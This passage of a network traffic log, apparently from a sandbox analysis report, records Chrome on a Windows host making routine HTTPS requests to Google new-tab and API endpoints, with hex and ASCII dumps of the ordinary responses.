2024-11-11 20:59:05 UTC	1378	IN	Data Raw: 7a 77 32 37 5a 44 75 45 50 77 4c 2f 57 37 7a 50 34 52 46 4c 76 78 55 41 74 43 47 42 63 67 46 63 52 4d 57 69 54 65 4b 50 74 2f 4f 6a 67 39 32 5a 49 30 4b 4e 50 42 2b 46 72 32 4f 75 55 34 71 4f 36 4c 58 52 54 46 2f 46 4e 76 66 4f 63 76 6c 30 76 6c 55 34 72 68 30 2f 75 71 76 6d 59 75 4c 38 30 35 6d 37 7a 78 54 4b 42 58 53 68 57 51 61 71 37 6c 31 42 62 72 37 4e 66 67 62 57 47 39 5a 31 74 62 58 65 47 30 53 36 32 4f 38 57 33 41 6c 41 55 39 38 44 38 4c 31 6d 76 6b 56 39 2b 2b 6e 56 69 63 2f 48 76 73 2f 67 55 4f 67 4c 77 63 32 76 6c 77 48 34 39 49 73 62 35 4c 54 4a 4b 2f 2f 38 41 6a 64 44 38 53 44 66 74 79 51 2b 57 6f 64 72 41 36 39 4f 2f 77 53 42 4d 34 73 51 4f 64 74 48 68 62 47 7a 2f 52 35 45 7a 65 79 39 43 39 71 7a 69 61 30 6a 54 78 4e 34 39 75 54 6e 70 42 6b Data Ascii: zw27ZDuEPwL/W7zP4RFLvxUAtCGBcgFcRMWiTeKPt/Ojg92ZI0KNPB+Fr2OuU4qO6LXRTF/FNvfOcvl0vlU4rh0/uqvmYuL805m7zxTKBXShWQaq7l1Bbr7NfgbWG9Z1tbXeG0S62O8W3AlAU98D8L1mvkV9++nVic/Hvs/gUOgLwc2vlwH49Isb5LTJK//8AjdD8SDftyQ+WodrA69O/wSBM4sQOdtHhbGz/R5Ezey9C9qzia0jTxN49uTnpBk
2024-11-11 20:59:05 UTC	1378	IN	Data Raw: 4c 4c 72 70 76 51 64 58 44 37 43 4b 48 42 55 56 41 64 36 61 59 4a 73 66 35 75 57 41 51 7a 44 6b 4a 30 45 57 63 67 6b 71 31 76 43 43 41 2b 2f 44 68 47 6d 50 2b 38 58 68 43 50 2f 64 6c 31 55 6d 46 6f 50 55 35 79 35 69 44 75 38 64 53 79 52 43 32 72 37 50 6b 42 75 5a 76 77 33 4c 44 75 39 58 42 34 48 30 62 6a 56 70 54 61 4d 69 48 42 77 6c 76 45 49 6d 55 6c 57 36 32 31 51 5a 75 72 39 50 75 64 47 71 74 62 46 5a 4a 69 34 45 66 56 76 63 32 76 39 31 5a 65 62 35 33 62 78 57 72 4c 42 56 55 39 4c 6e 30 30 6c 4a 61 43 35 69 63 5a 70 51 50 57 54 47 58 4a 71 4e 50 70 77 63 51 2b 56 44 78 52 79 50 6d 59 41 39 62 78 7a 50 39 42 66 51 2f 56 44 6f 72 72 57 4d 67 54 56 74 56 49 48 41 72 47 72 56 69 6c 6d 46 45 38 54 65 72 48 34 59 7a 34 51 38 45 58 68 4d 64 52 7a 4d 4d 67 75 Data Ascii: LLrpvQdXD7CKHBUVAd6aYJsf5uWAQzDkJ0EWcgkq1vCCA+/DhGmP+8XhCP/dl1UmFoPU5y5iDu8dSyRC2r7PkBuZvw3LDu9XB4H0bjVpTaMiHBwlvEImUlW621QZur9PudGqtbFZJi4EfVvc2v91Zeb53bxWrLBVU9Ln00lJaC5icZpQPWTGXJqNPpwcQ+VDxRyPmYA9bxzP9BfQ/VDorrWMgTVtVIHArGrVilmFE8TerH4Yz4Q8EXhMdRzMMgu
2024-11-11 20:59:05 UTC	1378	IN	Data Raw: 37 59 39 4e 59 70 53 48 63 6d 38 35 41 39 57 38 61 2b 45 7a 76 30 69 4d 43 4d 34 4f 79 4a 49 6f 71 4b 49 58 45 54 69 56 46 55 42 38 53 43 70 6e 45 45 6e 37 4b 49 69 6b 68 57 41 75 6b 72 42 4d 6a 72 75 57 47 61 68 41 63 2f 6c 76 78 37 48 56 71 32 36 73 4c 43 51 58 4b 6a 58 46 30 4a 47 43 50 67 64 7a 55 47 53 31 48 57 79 4d 56 30 48 63 6b 55 49 77 38 31 61 65 45 2b 39 42 36 56 76 6f 32 6c 44 4e 50 70 39 7a 4f 50 6c 73 42 64 66 4b 68 63 48 33 53 77 4a 58 56 57 7a 4a 37 65 57 51 6a 73 50 64 38 52 37 57 6a 4e 64 6a 42 36 64 48 68 79 55 44 7a 74 37 74 48 66 6d 2b 59 39 2f 65 72 6e 46 52 57 5a 79 4d 30 58 4d 65 65 51 42 59 30 35 42 49 7a 6e 4b 36 65 79 52 69 4c 4d 74 64 49 53 64 6b 53 66 63 4c 45 59 76 6b 35 43 39 73 37 33 31 55 56 5a 2f 4b 55 6a 70 62 72 54 76 Data Ascii: 7Y9NYpSHcm85A9W8a+Ezv0iMCM4OyJIoqKIXETiVFUB8SCpnEEn7KIikhWAukrBMjruWGahAc/lvx7HVq26sLCQXKjXF0JGCPgdzUGS1HWyMV0HckUIw81aeE+9B6Vvo2lDNPp9zOPlsBdfKhcH3SwJXVWzJ7eWQjsPd8R7WjNdjB6dHhyUDzt7tHfm+Y9/ernFRWZyM0XMeeQBY05BIznK6eyRiLMtdISdkSfcLEYvk5C9s731UVZ/KUjpbrTv
2024-11-11 20:59:05 UTC	1378	IN	Data Raw: 70 53 4f 4f 47 51 54 49 76 32 59 59 42 37 71 78 30 50 79 76 64 52 73 78 6e 77 54 78 5a 4c 64 58 42 50 4a 57 61 73 78 79 59 50 50 6b 32 68 51 33 4d 61 4e 31 38 48 49 56 4a 33 6e 36 47 66 4a 6f 68 44 34 71 63 4b 45 4c 6d 78 46 79 4e 49 4e 45 42 4f 74 43 72 31 34 6b 35 76 6e 54 6b 6b 31 2b 50 57 30 59 2f 39 77 2b 51 41 47 72 32 4b 75 6f 34 36 4e 79 32 71 34 36 47 41 67 58 4b 48 73 6b 6f 43 4f 53 36 4b 30 65 52 76 33 48 73 4c 76 61 78 47 62 62 64 62 67 68 68 65 61 42 37 36 4c 75 36 73 62 69 35 48 45 72 6e 4b 6c 34 45 47 32 4d 68 35 6c 66 69 46 6a 62 50 4c 47 2b 49 6d 37 6e 31 6b 62 57 44 4f 73 62 7a 69 58 49 35 73 56 4d 75 6c 33 45 61 32 64 62 79 67 46 63 78 31 75 65 46 42 6d 57 4b 4e 32 6a 79 4d 58 70 46 62 39 69 67 33 2b 55 2b 71 72 65 33 5a 39 69 5a 79 4a Data Ascii: pSOOGQTIv2YYB7qx0PyvdRsxnwTxZLdXBPJWasxyYPPk2hQ3MaN18HIVJ3n6GfJohD4qcKELmxFyNINEBOtCr14k5vnTkk1+PW0Y/9w+QAGr2Kuo46Ny2q46GAgXKHskoCOS6K0eRv3HsLvaxGbbdbghheaB76Lu6sbi5HErnKl4EG2Mh5lfiFjbPLG+Im7n1kbWDOsbziXI5sVMul3Ea2dbygFcx1ueFBmWKN2jyMXpFb9ig3+U+qre3Z9iZyJ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49711	142.250.185.100	443	6656	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:05 UTC	526	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCJDKzQEIucrNAQi/0c0BCIrTzQEI0NbNAQio2M0BCPnA1BUYj87NARi60s0BGMLYzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-11 20:59:05 UTC	1042	IN	HTTP/1.1 200 OK Version: 693618659 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 11 Nov 2024 20:59:05 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-11 20:59:05 UTC	336	IN	Data Raw: 33 64 65 38 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 3de8)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-11 20:59:05 UTC	1378	IN	Data Raw: 20 67 62 5f 6f 64 20 67 62 5f 46 64 20 67 62 5f 6c 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 Data Ascii: gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u00
2024-11-11 20:59:05 UTC	1378	IN	Data Raw: 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c Data Ascii: 03c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\
2024-11-11 20:59:05 UTC	1378	IN	Data Raw: 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 73 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 Data Ascii: role\u003d\"button\" tabindex\u003d\"0\"\u003e \u003csvg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l22
2024-11-11 20:59:05 UTC	1378	IN	Data Raw: 32 2c 32 7a 4d 36 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 Data Ascii: 2,2zM6,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1
2024-11-11 20:59:05 UTC	1378	IN	Data Raw: 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 31 22 2c 22 6c 65 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 35 30 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 Data Ascii: ft_product_control-label1","left_product_control-label2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700250,3700949,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else
2024-11-11 20:59:05 UTC	1378	IN	Data Raw: 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 52 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 53 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 7d 7d 3b 5f 2e 54 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 53 64 28 5c 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 5c 22 29 3b 5f 2e 50 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 6a 68 5c 75 30 30 33 64 61 7d 7d 3b 5f 2e 55 64 5c 75 30 30 33 Data Ascii: 1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Rd\u003dglobalThis.trustedTypes;_.Sd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i}};_.Td\u003dnew _.Sd(\"about:invalid#zClosurez\");_.Pd\u003dclass{constructor(a){this.jh\u003da}};_.Ud\u003
2024-11-11 20:59:05 UTC	1378	IN	Data Raw: 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 65 6c 73 65 20 61 5c 75 30 30 33 64 5f 2e 67 65 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 69 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 63 5c 75 30 30 33 64 5c 22 64 6f 63 75 6d 65 6e 74 5c 22 69 6e 20 62 3f 62 2e 64 6f 63 75 6d 65 6e 74 3a 62 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 64 2e 63 61 6c 6c 28 63 2c 60 24 7b 61 7d 5b 6e 6f 6e 63 65 5d 60 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 5c 22 5c Data Ascii: a\u003da.i;else throw Error(\"F\");else a\u003d_.ge(a);return a};_.ie\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(d\u003d(c\u003d\"document\"in b?b.document:b).querySelector)\u003d\u003dnull?void 0:d.call(c,`${a}[nonce]`);return b\u003d\u003dnull?\"\
2024-11-11 20:59:05 UTC	1378	IN	Data Raw: 29 5b 30 5d 7c 7c 6e 75 6c 6c 29 29 3b 72 65 74 75 72 6e 20 61 7c 7c 6e 75 6c 6c 7d 3b 5c 6e 5f 2e 75 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 5f 2e 47 62 28 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 79 6c 65 5c 22 3f 61 2e 73 74 79 6c 65 2e 63 73 73 54 65 78 74 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 63 6c 61 73 73 5c 22 3f 61 2e 63 6c 61 73 73 4e 61 6d 65 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 66 6f 72 5c 22 3f 61 2e 68 74 6d 6c 46 6f 72 5c 75 30 30 33 64 63 3a 74 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 64 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 74 65 5b 64 5d 2c 63 29 3a 5f 2e 6f 65 28 64 2c 5c Data Ascii: )[0]\|\|null));return a\|\|null};\n_.ue\u003dfunction(a,b){_.Gb(b,function(c,d){d\u003d\u003d\"style\"?a.style.cssText\u003dc:d\u003d\u003d\"class\"?a.className\u003dc:d\u003d\u003d\"for\"?a.htmlFor\u003dc:te.hasOwnProperty(d)?a.setAttribute(te[d],c):_.oe(d,\
2024-11-11 20:59:05 UTC	1378	IN	Data Raw: 6e 2f 78 68 74 6d 6c 2b 78 6d 6c 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 28 62 5c 75 30 30 33 64 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 3b 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 62 29 7d 3b 5f 2e 41 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 6c 65 74 20 62 3b 66 6f 72 28 3b 62 5c 75 30 30 33 64 61 2e 66 69 72 73 74 43 68 69 6c 64 3b 29 61 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 62 29 7d 3b 5f 2e 42 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 5c 75 30 30 32 36 5c 75 30 30 32 36 61 2e 70 61 72 65 6e 74 4e 6f 64 65 3f 61 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 61 29 3a 6e 75 6c 6c 7d 3b 5f 2e 43 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f Data Ascii: n/xhtml+xml\"\u0026\u0026(b\u003db.toLowerCase());return a.createElement(b)};_.Ae\u003dfunction(a){let b;for(;b\u003da.firstChild;)a.removeChild(b)};_.Be\u003dfunction(a){return a\u0026\u0026a.parentNode?a.parentNode.removeChild(a):null};_.Ce\u003dfunctio

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49708	142.250.185.100	443	6656	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:05 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-11 20:59:05 UTC	957	IN	HTTP/1.1 200 OK Version: 693618659 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 11 Nov 2024 20:59:05 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-11 20:59:05 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-11 20:59:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49719	216.58.206.46	443	6656	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:08 UTC	741	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-11 20:59:08 UTC	915	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 117949 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Mon, 11 Nov 2024 00:32:18 GMT Expires: Tue, 11 Nov 2025 00:32:18 GMT Cache-Control: public, max-age=31536000 Age: 73610 Last-Modified: Thu, 10 Oct 2024 19:55:27 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
